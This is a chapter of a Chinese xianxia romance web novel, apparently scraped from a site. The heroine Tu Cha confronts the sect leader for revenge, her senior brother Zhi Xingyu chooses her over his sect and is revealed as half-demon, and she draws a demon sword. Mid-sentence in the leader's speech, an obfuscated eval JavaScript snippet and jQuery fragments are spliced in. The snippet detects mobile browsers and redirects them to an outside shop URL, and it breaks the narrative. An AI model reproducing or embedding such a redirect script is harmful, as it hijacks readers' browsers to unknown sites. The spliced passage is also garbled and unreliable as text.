27. 二选一

作品:《师兄,救我!

    她早就想杀他报仇了,只不过为了枝幸雨一直在忍耐,如今他一再挑衅,不知死活,妄想再杀一次她,她还要忍什么?


    等着对方先杀她吗?


    涂茶即刻幻化出剑杀向南流景,速度之快众人根本来不及反应。


    只听当的一声,


    两剑相撞。


    “涂茶!”


    是枝幸雨挡住了。


    他以为涂茶只是生气:“不要,他是我师尊。”


    罗雀骨更是在身后大喊:“涂茶,你冷静!别动手,他毕竟是…”


    未说出口的话停住,涂茶自然知道他在提醒自己什么。


    南流景是枝幸雨的亲生父亲,他已经全然知晓,如果她动手杀了,之后该怎么办?


    这时众人也反应过来了:“她果然是魔族之人!她是来杀宗主的!”


    “涂茶,你冷静一下,我会向师尊解释清楚,我相信你,不要动手。”枝幸雨幽深的眼眸紧紧盯着她,尚且还是耐心地在一旁劝阻。


    而南流景却为此更认定了涂茶是魔族奸细的身份:“看见了吗!她就是为了杀我而来,枝幸雨,你还要自欺欺人到什么时候!”


    人群中,罗鹤梦收紧了扇子,总是嬉笑的脸色变得凝重。


    “师兄,倘若我就是要杀他呢。”


    涂茶抬起头,她沉着脸,眼中如死水,让人望而生畏。


    “为什么?”枝幸雨不明白,为什么她一定要杀。


    他不愿意相信,她是魔族之人。


    可涂茶要如何开口解释?


    因为你父亲杀过我,他背叛了我,所以我要报仇。


    要她放弃,绝不可能。


    杀人偿命,她说过南流景欠她,她一定要他讨回来。


    “师兄,今日,你只能选一个。”


    她冷光闪过眼眸:“要我,还是你的宗门。”


    枝幸雨一愣,目光愕然。


    “师兄,她骗了你!”人群中南玉昭冲了出来,她拔剑指着涂茶,眼神凶狠,“她一直隐藏在你身边,为的就是今天!为了杀死我爹!师兄!不要听她的,你是神欲行的弟子,怎么能选择她?”


    “妖女,师兄是不会选你的!”


    “妖女!叛徒!师兄杀了她!”


    “杀了她!”


    “不是的,涂茶,她…她怎么会是魔族…”妖妖似乎也有些犹豫了,她茫然紧张地看向涂茶,想上前被罗雀骨伸手拦住。


    “不要去。”


    他拧紧眉头,望着涂茶的背影。


    “她是要去报仇。”


    妖妖一愣,还没想明白这话什么意思,突然有灵力浮现,将她带出,落到玄衣男子身边。


    她抬头一看:“爹。”


    清郁沉着脸,仔细打量她的身上,确认没有受伤后皱眉指责:“我说过,不许去危险的地方,要保证自己的安危,现在起,待在我身边,这些事与你无关。”


    他话语落下,周围再次响起要杀涂茶的声音。


    “杀了她!”


    众人说罢拔剑对准涂茶,她毫不在意,握着剑,紧盯着枝幸雨,一步步上前。


    枝幸雨却一动不动,直到剑与他的喉咙只有一寸。


    “为什么?”


    涂茶以为他觉得自己背叛了她,要一个理由:“没有为什么,我就是要杀他。师兄,这就是你的选择吗?“


    “你要你的宗门。”


    耳边依旧叫嚣着要杀了她,南流景更是大喊:“还愣着做什么?枝幸雨,杀了她!不要被魔教妖女蛊惑!”


    南玉昭也在催促他:“动手啊师兄!杀了她!你还在犹豫什么?”


    所有人都在逼枝幸雨动手,要他亲手解决掉这个错误。


    人群喧嚣,只见少年缓缓抬手。


    突然,他握住了涂茶逼近自己的剑,血从手心渗出。


    涂茶悄悄收紧手,面上冷若冰霜,心里却在不安地等待这场抉择。


    君山峰,乌乌镇,神像下,梦骨塔,每一次,他都选择了她。


    所以这一次…要放弃了吗?


    “我跟你走。”


    涂茶猛然一愣,拿剑的手第一次颤了:“什么?”


    他握着她的剑轻轻放下,郑重坚定地走到涂茶面前,用所有人都能听到的声音说:“我不要宗门,不要我的身份,我不要选,我只要你。”


    “师兄!”南玉昭震惊地大喊。


    “你疯了吗!”


    涂茶没有想到,在所有人都以为她是魔族要杀南流景的时候,枝幸雨却选择与天下为敌,站在她身边。


    “涂茶,我什么都不要。”枝幸雨用另一只没受伤的手握紧她,虔诚地祈求她,“别丢下我。”


    涂茶心中震荡,罗师兄真说对了,枝幸雨愿意为了她,放下一切,甚至是他的亲生父亲。


    她握紧这双手,像是放下一个许久的包袱,终于笑了。


    “好。”


    而看到这一切的众人一阵惊诧,南流景更是脸色难看:“枝幸雨!你疯了!她是魔族,她会害了你,她都是在骗你!”


    “我娘没有骗你。”


    枝幸雨突然回过头。


    这句话说得莫名其妙,可南流景却听懂了。


    涂茶与妖妖罗雀骨也知道这话是什么意思。


    这些咒骂与其说南流景是在骂枝幸雨,不如说他在骂他自己。


    他在骂当年那个害死宗门的自己,而他同时也在害怕,害怕当年他的放弃,逃避,怨恨是错的。


    他害怕枝幸雨做出不一样的选择。


    因为那个结果会让他生不如死。


    枝幸雨目光灼灼,冷漠又像是可怜他:“她从来没有骗过你,她甚至没有恨过你的懦弱与不信任,因为她从始至终都只是爱你这个人而已。”


    “什么?师兄你在说什么?”南玉昭听不明白,下意识觉得有什么不对劲,她看向南流景,看向她崇拜的父亲。


    而南流景惨白着一张脸,摇摇欲坠:“你…你说什么?”


    “你还不明白吗?”


    涂茶接过话,她握着枝幸雨的手:“南流景,他不是你,就算我身份不明,就算为我众叛亲离与天下人为敌,他也敢。因为他绝不是十七年前的南流景,也绝不会失去他想爱的人,更不会悔恨十七年,到头来依旧是如此懦弱无能,逃避一切,要他的儿子跟他一样重蹈覆辙!”


    众人哗然。


    一个惊天秘密就这样暴露在众人面前。


    “爹,你们在说什么?”南玉昭震惊地看着枝幸雨,隐约意识到什么,跌跌撞撞退后,“师兄…师兄是…不可能…不可能!”


    “枝师兄居然是宗主的儿子!怎么回事?”


    “十七年前?这是什么意思?宗主莫不是在十七年前与别人有过一段感情?”


    “没想到枝幸雨是宗主的私生子,怪不得五岁那年上山,宗主要收他一个流浪儿为弟子,原来是自己的儿子。”


    在众人的议论中,南流景失魂落魄一步步退后,他看着他们并肩而站,看着枝幸雨那张故人的脸,仿佛在嘲弄他的懦弱和无能,一瞬间胸口涌出一股腥甜,然后喷血而出。


    “爹!”


    南玉昭接住倒下的南流景,他的目光晃动得厉害,嘴里喃喃:“徽月…徽月…你不恨我吗?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176551|195539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我知道你是无辜的…可我不能…不能…我们不能在一起…”


    “爹,你在说什么?徽月是谁?她是谁?”南玉昭哭着问,早已无法解决其他问题。


    一片混乱之中,有长老手中起势:“各位,此魔族之人诡计多端,勾引我正派人士,设计神欲行宗主,尔等随我即刻将她拿下!”


    说罢,他一道强大符咒落下。


    枝幸雨迅速将涂茶推向罗师兄:“带她走!”


    “师兄!”


    涂茶被推得后退几步,等站稳,一道熟悉的阵法亮起,随后就听见阵法中的枝幸雨发出痛苦的嘶吼声:“啊——”


    是拭咒!


    涂茶脸色瞬间惨白。


    该死!枝幸雨是半魔!


    涂茶想也不想要冲进去,罗雀骨拉住她:“你想清楚了吗!现在不跑,什么都来不及了!”


    “这是怎么回事?枝师兄为什么会这么痛苦?”


    “这不是拭魔咒吗?难不成…”


    眼看着枝幸雨身上却被一道又一道咒符加深,然后束缚肉身,痛苦得目眦尽裂。


    涂茶毫不犹豫挣脱开罗雀骨:“我想清楚了。”


    她狂奔而去,伸手捏碎藏有无上灵力的鲁班锁。


    化伞为剑,挥剑斩去。


    顷刻间,阵法震碎,一股强大灵力反噬冲击向四周。


    “啊——”


    一阵嘶喊传来。


    天空逐渐暗下。


    围观的其他人缓缓放下挡灵气冲击的手,看着那处。


    黑色的戾气四溢,恐怖的杀气凝聚于迷雾之中。


    只见迷雾逐渐散去,少女缓缓站起身,眼中泛着幽蓝的光,在她身后枝幸雨也跟着站起身,露出那双赤血红眸。


    “他…他是魔族!!”


    众人震惊。


    “宗门里怎么会有一个魔族!”


    “他们是一伙的!”


    “杀了他!他是魔族!”


    “杀了他!”


    在一声声咒骂与喧嚣中,涂茶望向南流景,他捂着胸口,脸色苍白,无力面对这一切。


    一旁清郁嗤笑一声:“果然是她的孩子。”


    “师兄是魔…”而南玉昭也终于意识到了,她僵直着头转向南流景,“所以…徽月是魔族…爹…你爱上了一个魔族之人…”


    周围人也知晓了这个真相,目光都投向魔化的枝幸雨。


    “居然有魔族潜伏在宗门之中,马上启动杀阵!杀了这两个魔族!”


    随着话落,所有人手中掐诀,一道又一道符咒亮起。


    涂茶转过身,枝幸雨赤红着眼,死死抓住胸口,他在努力抑制着自己的魔性,想让自己不要成为失去理智的嗜血。


    她笑了笑,周围杀意四起,少女就像是与人嬉笑般随口问道:“师兄,你的陶埙我能摸一下吗?”


    枝幸雨抵抗不住魔性,单膝跪地,涂茶也跟着蹲下身,摸了摸他的脸。


    少年身形微颤,握住了涂茶的手,声音从喉咙中挤出来:“拿着我的陶埙,快逃!”


    说罢,他抬起头,眼神已经不清明了,但他还想着要她离开,保护她。


    涂茶一笑,伸手握住他胸前陶埙:“别怕,我可是天下第一。”


    说着,幽蓝的光芒从手心蔓延,发出耀眼的灵力,她缓缓站起身,手掌张开,只见一把杀气锋芒的雪剑从陶埙中拔剑而出,剑身锐利充满着无上神力。


    涂茶握紧,迅速转身划剑,一道剑气汹涌杀向众人。


    砰——


    蓝色幽火焚烧,在火焰中众人看清了少女手里的剑。


    “天魔剑!!”